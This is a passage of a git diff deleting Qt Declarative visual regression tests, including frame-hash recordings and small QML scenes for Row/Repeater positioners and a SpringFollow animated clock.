"93664c87c8dcfadc0345f646b2508625" - } - Frame { - msec: 6368 - hash: "93664c87c8dcfadc0345f646b2508625" - } - Frame { - msec: 6384 - hash: "93664c87c8dcfadc0345f646b2508625" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.0.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.0.png deleted file mode 100644 index f7018fd..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.qml b/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.qml deleted file mode 100644 index 1eb115d..0000000 --- a/tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.qml +++ /dev/null @@ -1,339 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 32 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 48 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 64 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 80 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 96 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 112 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 128 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 144 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 160 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 176 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 192 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 208 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 224 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 240 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 256 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 272 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 288 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 304 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 320 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 336 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 352 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 368 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 384 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 400 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 416 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 432 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 448 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 464 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 480 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 496 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 512 - hash: "0273c293855f2b2bdbf579fc5cdce63f" - } - Frame { - msec: 528 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 544 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 560 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 576 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 592 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 608 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 624 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 640 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 656 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 672 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 688 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 704 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 720 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 736 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 752 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 768 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 784 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 800 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 816 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 832 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 848 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 864 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 880 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 896 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 912 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 928 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 944 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 960 - image: "repeater.0.png" - } - Frame { - msec: 976 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 992 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1008 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1024 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1040 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1056 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1072 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1088 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1104 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1120 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1136 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1152 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1168 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1184 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1200 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1216 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1232 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1248 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1264 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1280 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1296 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1312 - hash: "53a01771047c8ec806a335a1a3d6af71" - } - Frame { - msec: 1328 - hash: "53a01771047c8ec806a335a1a3d6af71" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/dynamic.qml b/tests/auto/declarative/visual/qdeclarativepositioners/dynamic.qml deleted file mode 100644 index f45e9a4..0000000 --- a/tests/auto/declarative/visual/qdeclarativepositioners/dynamic.qml +++ /dev/null @@ -1,65 +0,0 @@ -import Qt 4.6 - -Item { - width: 400; height: 400; - property int step: 0 - function tick() - { - step++; - if(step == 1){ - row1.destroy(); //Not dynamically created, so is this valid? - }else if(step == 2){ - r2a.destroy(); - }else if(step == 3){ - r2b.destroy(); - }else if(step == 4){ - r2c.destroy(); - }else if(step == 5){ - r3a.parent = row2; - }else if(step == 6){ - r3b.parent = row2; - }else if(step == 7){ - r3c.parent = row2; - }else if(step == 8){ - row3.destroy(); - }else{ - repeater.model++; - } - } - - //Tests base positioner functionality, so just using row - Row{ - id: row1 - Rectangle{id: r1a; width:20; height:20; color: "red"} - Rectangle{id: r1b; width:20; height:20; color: "green"} - Rectangle{id: r1c; width:20; height:20; color: "blue"} - } - Row{ - y:20 - id: row2 - move: Transition{NumberAnimation{properties:"x"}} - Repeater{ - id: repeater - model: 0; - delegate: Component{ Rectangle { color: "yellow"; width:20; height:20;}} - } - Rectangle{id: r2a; width:20; height:20; color: "red"} - Rectangle{id: r2b; width:20; height:20; color: "green"} - Rectangle{id: r2c; width:20; height:20; color: "blue"} - } - Row{ - move: Transition{NumberAnimation{properties:"x"}} - y:40 - id: row3 - Rectangle{id: r3a; width:20; height:20; color: "red"} - Rectangle{id: r3b; width:20; height:20; color: "green"} - Rectangle{id: r3c; width:20; height:20; color: "blue"} - } - Timer{ - interval: 500; - running: true; - repeat: true; - onTriggered: tick(); - } -} - diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/repeater.qml b/tests/auto/declarative/visual/qdeclarativepositioners/repeater.qml deleted file mode 100644 index ff60365..0000000 --- a/tests/auto/declarative/visual/qdeclarativepositioners/repeater.qml +++ /dev/null @@ -1,15 +0,0 @@ -import Qt 4.6 - -Item{ - width: 200; height: 600 - Column{ - Rectangle{color:"Red"; width:40; height:40;} - Repeater{ - id: rep - model: 3 - delegate: Component{Rectangle{color:"Green"; width:40; height:40; radius: 20;}} - } - Rectangle{color:"Blue"; width:40; height:40;} - } - Timer{ interval: 500; running: true; onTriggered: rep.model=6;} -} diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml deleted file mode 100644 index 21bbc7f..0000000 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml +++ /dev/null @@ -1,64 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: clock - color: "gray" - width: 200; height: 200 - - property var hours: 10 - property var minutes: 28 - property var seconds: 0 - - Timer { - interval: 1000; running: true; repeat: true; triggeredOnStart: true - onTriggered: seconds++ - } - - Image { id: background; source: "content/clock.png" } - - Image { - x: 92.5; y: 27 - source: "content/hour.png" - smooth: true - transform: Rotation { - id: hourRotation - origin.x: 7.5; origin.y: 73; angle: 0 - SpringFollow on angle { - spring: 2; damping: 0.2; modulus: 360 - source: (clock.hours * 30) + (clock.minutes * 0.5) - } - } - } - - Image { - x: 93.5; y: 17 - source: "content/minute.png" - smooth: true - transform: Rotation { - id: minuteRotation - origin.x: 6.5; origin.y: 83; angle: 0 - SpringFollow on angle { - spring: 2; damping: 0.2; modulus: 360 - source: clock.minutes * 6 - } - } - } - - Image { - x: 97.5; y: 20 - source: "content/second.png" - smooth: true - transform: Rotation { - id: secondRotation - origin.x: 2.5; origin.y: 80; angle: 0 - SpringFollow on angle { - spring: 5; damping: 0.25; modulus: 360 - source: clock.seconds * 6 - } - } - } - - Image { - anchors.centerIn: background; source: "content/center.png" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/background.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/background.png deleted file mode 100644 index a885950..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/background.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/center.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/center.png deleted file mode 100755 index 7fbd802..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/center.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/clock.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/clock.png deleted file mode 100755 index 462edac..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/clock.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/hour.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/hour.png deleted file mode 100755 index f8061a1..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/hour.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/minute.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/minute.png deleted file mode 100755 index 1297ec7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/minute.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/content/second.png b/tests/auto/declarative/visual/qdeclarativespringfollow/content/second.png deleted file mode 100755 index 4aa9fb5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/content/second.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.0.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.0.png deleted file mode 100644 index baf1d45..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.1.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.1.png deleted file mode 100644 index 932f63f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.2.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.2.png deleted file mode 100644 index a5cb437..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.3.png b/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.3.png deleted file mode 100644 index 62e895c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.qml deleted file mode 100644 index ffc6a5e..0000000 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.qml +++ /dev/null @@ -1,1135 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "d17c9cd015b065adf7e36ad0d4f6c00c" - } - Frame { - msec: 32 - hash: "e759f652c69a06d01837302cc0369a58" - } - Frame { - msec: 48 - hash: "392855ef490903121fb894858961dfb0" - } - Frame { - msec: 64 - hash: "5ba4248f606a3a35d840cb98eff30b46" - } - Frame { - msec: 80 - hash: "3b97e1ab4054c20d19c1d05f795b71de" - } - Frame { - msec: 96 - hash: "81904d248125cf35249f79da7e94d8d7" - } - Frame { - msec: 112 - hash: "474179152aad4b64904c8b7c63581a89" - } - Frame { - msec: 128 - hash: "583a7906d1dc41d8ce8d0c8f28c9b8c5" - } - Frame { - msec: 144 - hash: "341437083f858e2dca36a8bb39559a1e" - } - Frame { - msec: 160 - hash: "ed75a933c176ed6ac3fa5b2986cbfade" - } - Frame { - msec: 176 - hash: "5494c10d3984a9be607b8b5ee659ebfc" - } - Frame { - msec: 192 - hash: "7af8dfca43036ee69012cbb100d110ad" - } - Frame { - msec: 208 - hash: "356b8185889e560b5a1a2d6436dac834" - } - Frame { - msec: 224 - hash: "f601a66de5dc1a388e515ba4ff14be6e" - } - Frame { - msec: 240 - hash: "4cfb9f3a72070533288b2e50820cbbbd" - } - Frame { - msec: 256 - hash: "ddcb670af0806dadf5897bcd3fd65cd7" - } - Frame { - msec: 272 - hash: "3fedf4aa340d7632359273b1eb71c5a3" - } - Frame { - msec: 288 - hash: "3dab7e1eaccb68b14e30741775db6ff7" - } - Frame { - msec: 304 - hash: "015ab6c080c2ffab8ac763681bf3f95c" - } - Frame { - msec: 320 - hash: "74f438510f0d8f64120cc45bca7f4f5d" - } - Frame { - msec: 336 - hash: "e57666fb224cdbf869e5be4ef3391be9" - } - Frame { - msec: 352 - hash: "ff8b3dddd4d10b111b38801470fcbfd0" - } - Frame { - msec: 368 - hash: "e547ee9f1e509d5db980cb91fce5f6ee" - } - Frame { - msec: 384 - hash: "aaa9fb71bd47ad3a1c753d7ac918e399" - } - Frame { - msec: 400 - hash: "54a335aac86669138730c0735ea99c8b" - } - Frame { - msec: 416 - hash: "ff8f30aaa7afd8abfdd147b830e9d6c4" - } - Frame { - msec: 432 - hash: "07f8fca270953cf815cb0e77534da824" - } - Frame { - msec: 448 - hash: "30799c12182b2c3eb2f28b05d81ed6fc" - } - Frame { - msec: 464 - hash: "6244e3b740218aec56c81c92dc57abcb" - } - Frame { - msec: 480 - hash: "cb10a34e3d234043704e633b49184607" - } - Frame { - msec: 496 - hash: "66de73779b5f86a6a1692eb74be24201" - } - Frame { - msec: 512 - hash: "4c4c0b5e75f0f587ace8002720d78309" - } - Frame { - msec: 528 - hash: "88c774ec272c72457b35b60306c2bc21" - } - Frame { - msec: 544 - hash: "28ce64adc1d35d6bc34174765beda553" - } - Frame { - msec: 560 - hash: "37238c3d6dc0c34bf4e00ba2a82ce3aa" - } - Frame { - msec: 576 - hash: "d14dd306fec80f1a1ff9a85aa51b9a57" - } - Frame { - msec: 592 - hash: "bfa2ec6fa546c75ee85e2ebeb3af8e3c" - } - Frame { - msec: 608 - hash: "d1ec3faab47065f34e9397fd73f9edce" - } - Frame { - msec: 624 - hash: "0b59b5dba365fff38872b520afc84edb" - } - Frame { - msec: 640 - hash: "3c4ae01b5e878b85a2eea403f3ad478a" - } - Frame { - msec: 656 - hash: "329111f7079230e8b3cfda1217e8fcdf" - } - Frame { - msec: 672 - hash: "97761329ac9ba03ec41e3d5b35f245df" - } - Frame { - msec: 688 - hash: "9d26e3a3357530e903ee89f7bf439357" - } - Frame { - msec: 704 - hash: "1cf4c130ea3565547ff74280211f10c9" - } - Frame { - msec: 720 - hash: "d60284711cb557b1dab4d27072c95597" - } - Frame { - msec: 736 - hash: "98195e02405ee26c0a6a3177cebe9eaa" - } - Frame { - msec: 752 - hash: "f0a776c39363e340ebfb7736f368f609" - } - Frame { - msec: 768 - hash: "5a146b4b76f93e3064d5dfa13107b1c3" - } - Frame { - msec: 784 - hash: "7f7fef3a7ff2047f598bfca0fc7d5935" - } - Frame { - msec: 800 - hash: "85a2fd48605f8a77764bf96542db14c3" - } - Frame { - msec: 816 - hash: "89bdc99d16e6605e2106dfa5f53d7c8e" - } - Frame { - msec: 832 - hash: "d03754d56d85508b7c77959d1ab7b34a" - } - Frame { - msec: 848 - hash: "8d330472a376b47d65cec0b8e3df25cb" - } - Frame { - msec: 864 - hash: "401adaeecfd2c0a5598194e9ead4dd5d" - } - Frame { - msec: 880 - hash: "5c600e940e0a01fec15505fba595df3d" - } - Frame { - msec: 896 - hash: "b7940b041fbd3df5e6969130bf97da10" - } - Frame { - msec: 912 - hash: "62314bb115c307eeff4c4c7c91ee74a2" - } - Frame { - msec: 928 - hash: "54745a8a7ed96a4d5e2d4ec2de605882" - } - Frame { - msec: 944 - hash: "a4145b63f59d060ac0e0dc32dd22c815" - } - Frame { - msec: 960 - image: "clock.0.png" - } - Frame { - msec: 976 - hash: "c420b1298329c7eb0d3ec6a90a7eb802" - } - Frame { - msec: 992 - hash: "e63a5384cde6287c3cd8bdb823f35dca" - } - Frame { - msec: 1008 - hash: "af708b5e4a2a706385afd43896eeff16" - } - Frame { - msec: 1024 - hash: "32011e16d4b1c14619820ade020f6416" - } - Frame { - msec: 1040 - hash: "fbf9f8f075b15922f7306e469075d3cf" - } - Frame { - msec: 1056 - hash: "bf0fab116eae6e7fb5b3209220a3a52a" - } - Frame { - msec: 1072 - hash: "7a21aee4bcb99feb12a2a2c6bb3fd893" - } - Frame { - msec: 1088 - hash: "d721462af9c94e13f12374b2590dad1e" - } - Frame { - msec: 1104 - hash: "70385b585c2cbf1b2d64f1b9ebb5fb56" - } - Frame { - msec: 1120 - hash: "fc7adc3dd2f42bfe6cd74c2ee1ea9aa8" - } - Frame { - msec: 1136 - hash: "232884da74c9843d1349e82a7300cc19" - } - Frame { - msec: 1152 - hash: "c6790d9c8cbea7bf97cbedf443da330c" - } - Frame { - msec: 1168 - hash: "1847875f98555ef46a103c107bd5bc37" - } - Frame { - msec: 1184 - hash: "d7b35992b44a0220bd83a00b7f75dcdd" - } - Frame { - msec: 1200 - hash: "fc9e1db602c34863088d82ed8f601364" - } - Frame { - msec: 1216 - hash: "404e2d071f8a6409ba6c6bfd8450693c" - } - Frame { - msec: 1232 - hash: "dc2b6be9bc4c32460797e94ec617406c" - } - Frame { - msec: 1248 - hash: "5077b6afd808f7a2c319e66f0aef3002" - } - Frame { - msec: 1264 - hash: "07f07a04ec7c864196faeb44eff65b4c" - } - Frame { - msec: 1280 - hash: "5d9089a68ef0b8b78b68c33d3082b597" - } - Frame { - msec: 1296 - hash: "d955c9f66eaf123351a19947240e8847" - } - Frame { - msec: 1312 - hash: "f1821cbcb3883a041f22a114f7158532" - } - Frame { - msec: 1328 - hash: "77f17db09c5a7125c42359c304f274de" - } - Frame { - msec: 1344 - hash: "bc38a4c859f596f6cf3c399d3a04b1cd" - } - Frame { - msec: 1360 - hash: "982c43a4a1c9fae8bf3980b5885cee2f" - } - Frame { - msec: 1376 - hash: "c15bb9b7dd77d505ee9918eb36b75c31" - } - Frame { - msec: 1392 - hash: "bda534fd941a6f8289bfbec9b8dde717" - } - Frame { - msec: 1408 - hash: "7ad5c54b481525ace42ae8926a5c0556" - } - Frame { - msec: 1424 - hash: "2399778158f63481eb8514245277b917" - } - Frame { - msec: 1440 - hash: "6c200d090b34a0152c7eb233c97c3886" - } - Frame { - msec: 1456 - hash: "7ba4500e81df31e3e2c5d165bacf771a" - } - Frame { - msec: 1472 - hash: "c7e13f3d9bdfe35eb905c1d4ed6b73ac" - } - Frame { - msec: 1488 - hash: "808b72766f5dce71fc983ffa01945665" - } - Frame { - msec: 1504 - hash: "899ac513755476db1e1304317524a755" - } - Frame { - msec: 1520 - hash: "27190dce033171966981672e52f07107" - } - Frame { - msec: 1536 - hash: "5d9ef583b6b3cb5257cb044cf376eff2" - } - Frame { - msec: 1552 - hash: "77b648fe26a942b246eec0fa018ad86f" - } - Frame { - msec: 1568 - hash: "744a61493816338113ba4ba7c05f76de" - } - Frame { - msec: 1584 - hash: "2eb0da64d5937c1a38754fd55ca684d0" - } - Frame { - msec: 1600 - hash: "6f799c2c0c0e1ed419af03f8bbb9fae1" - } - Frame { - msec: 1616 - hash: "5b84344f31d5e4d15be6b53ad3bf9c84" - } - Frame { - msec: 1632 - hash: "997b5967e3e3a35d02f10e1eae417dbf" - } - Frame { - msec: 1648 - hash: "c522369c836e8d08c56e2e332dd005ac" - } - Frame { - msec: 1664 - hash: "22f4072da05d261cfcca232ea54d2cb4" - } - Frame { - msec: 1680 - hash: "7081a90c33785306800b7a57a4a9a75c" - } - Frame { - msec: 1696 - hash: "32a8bea14c92ce61ede89182765f0759" - } - Frame { - msec: 1712 - hash: "4bafe476d5301974c616311073763ab4" - } - Frame { - msec: 1728 - hash: "291188ca795d455ae293437c2fb2303d" - } - Frame { - msec: 1744 - hash: "99d2658f863c82dd71fde0f0b93b4d62" - } - Frame { - msec: 1760 - hash: "8a7183e11fde2846d5435847ad9add45" - } - Frame { - msec: 1776 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1792 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1808 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1824 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1840 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1856 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1872 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1888 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1904 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1920 - image: "clock.1.png" - } - Frame { - msec: 1936 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1952 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1968 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 1984 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 2000 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 2016 - hash: "34b6180b74f0653ce1f18c22022d333f" - } - Frame { - msec: 2032 - hash: "150f511972394d8485979a6d9badcee5" - } - Frame { - msec: 2048 - hash: "50b420f72479ec613fd443b5faa3cb94" - } - Frame { - msec: 2064 - hash: "a51cbeea7ad5407b2784a3a3c8ca1ecf" - } - Frame { - msec: 2080 - hash: "0f658f4c91f890cd252d0f9d9bbe064d" - } - Frame { - msec: 2096 - hash: "c814c99815a91547eff01dc899c275f2" - } - Frame { - msec: 2112 - hash: "f9dac59029008e52efe4225cf919f013" - } - Frame { - msec: 2128 - hash: "b87bdcf09b425f2b2d6aed65f96ae8a3" - } - Frame { - msec: 2144 - hash: "f353bf64e664166a542aa027dc625529" - } - Frame { - msec: 2160 - hash: "12492b26c2f1c018e034c0fa936fa7b5" - } - Frame { - msec: 2176 - hash: "33f04d25bced580f15590f12ddafef62" - } - Frame { - msec: 2192 - hash: "cdd8ee656e4fec3ac6e72b6f7626de3b" - } - Frame { - msec: 2208 - hash: "22a94ea46fb9ee78830eab79e4adc5c5" - } - Frame { - msec: 2224 - hash: "64a10c9d4738c004c7f08f95b48a7a4d" - } - Frame { - msec: 2240 - hash: "ff3300fb49a735e0a958362aead1905f" - } - Frame { - msec: 2256 - hash: "8289dfdad12a8c13513175e5aad6a2d9" - } - Frame { - msec: 2272 - hash: "49e5cbb94f7d8bc853ca3c9366d737c9" - } - Frame { - msec: 2288 - hash: "76d2d8df4ad0359bb8ae102b225b3a68" - } - Frame { - msec: 2304 - hash: "98d925b3306aa7dd1b1fb9e066cd8a02" - } - Frame { - msec: 2320 - hash: "3911b53eb0346af1773ad991232e61ee" - } - Frame { - msec: 2336 - hash: "8991c10234f9f286ebab39d72729525d" - } - Frame { - msec: 2352 - hash: "ca2c8c6f23b30957a5cc20d9750a3ffe" - } - Frame { - msec: 2368 - hash: "80abe9b146b31dbedf1fe2357d922dda" - } - Frame { - msec: 2384 - hash: "0e34091d6bceab00bdabcec78e99e265" - } - Frame { - msec: 2400 - hash: "ba04053c25e53b3dc790feac9a33e221" - } - Frame { - msec: 2416 - hash: "cb6f7f2cce4f68ef1d35f765e00bbf7b" - } - Frame { - msec: 2432 - hash: "1e63fb94f5fbf3b600ec9298cbb97c8a" - } - Frame { - msec: 2448 - hash: "8991c10234f9f286ebab39d72729525d" - } - Frame { - msec: 2464 - hash: "00531d4a5fe98bbb487ad835414e7d07" - } - Frame { - msec: 2480 - hash: "7af9f861cb57c937c87b24eee9fbb558" - } - Frame { - msec: 2496 - hash: "7ecd1a4a75753e70ad5937e5bc897e03" - } - Frame { - msec: 2512 - hash: "557766fe964033f6a488574af7306cac" - } - Frame { - msec: 2528 - hash: "bd0f7164dd0a84ce1a1b2a6acbc2157b" - } - Frame { - msec: 2544 - hash: "d24ef664cf13519b99d6193bf98fcfd1" - } - Frame { - msec: 2560 - hash: "6c3626248bbb41cab85ec2a908b7874b" - } - Frame { - msec: 2576 - hash: "0f9bea8d474690164a09dfd3b13ff80b" - } - Frame { - msec: 2592 - hash: "e5197674c91de893a970614e650547e5" - } - Frame { - msec: 2608 - hash: "ce6861e9a7e75b809df026f078c8516b" - } - Frame { - msec: 2624 - hash: "eb0539e30fd53fb905d7b28ff0bc6cfd" - } - Frame { - msec: 2640 - hash: "45f70dda0d647119175457fb4d451e85" - } - Frame { - msec: 2656 - hash: "ca6b75fa4ee612bf6bb1776ef4115b16" - } - Frame { - msec: 2672 - hash: "c7d6bd687be6d5476300539411b97fc5" - } - Frame { - msec: 2688 - hash: "27da9137b936d813d3c79a873053ed38" - } - Frame { - msec: 2704 - hash: "4389a5758bf9df9553300c074aa7bb36" - } - Frame { - msec: 2720 - hash: "30476b70a29716b359a046f99b6387e5" - } - Frame { - msec: 2736 - hash: "b91c6f1e57d718e95ab05d1f386aedb9" - } - Frame { - msec: 2752 - hash: "578b022173dcac39d227ffeb043e53d0" - } - Frame { - msec: 2768 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2784 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2800 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2816 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2832 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2848 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2864 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2880 - image: "clock.2.png" - } - Frame { - msec: 2896 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2912 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2928 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2944 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - msec: 2960 - hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" - } - Frame { - 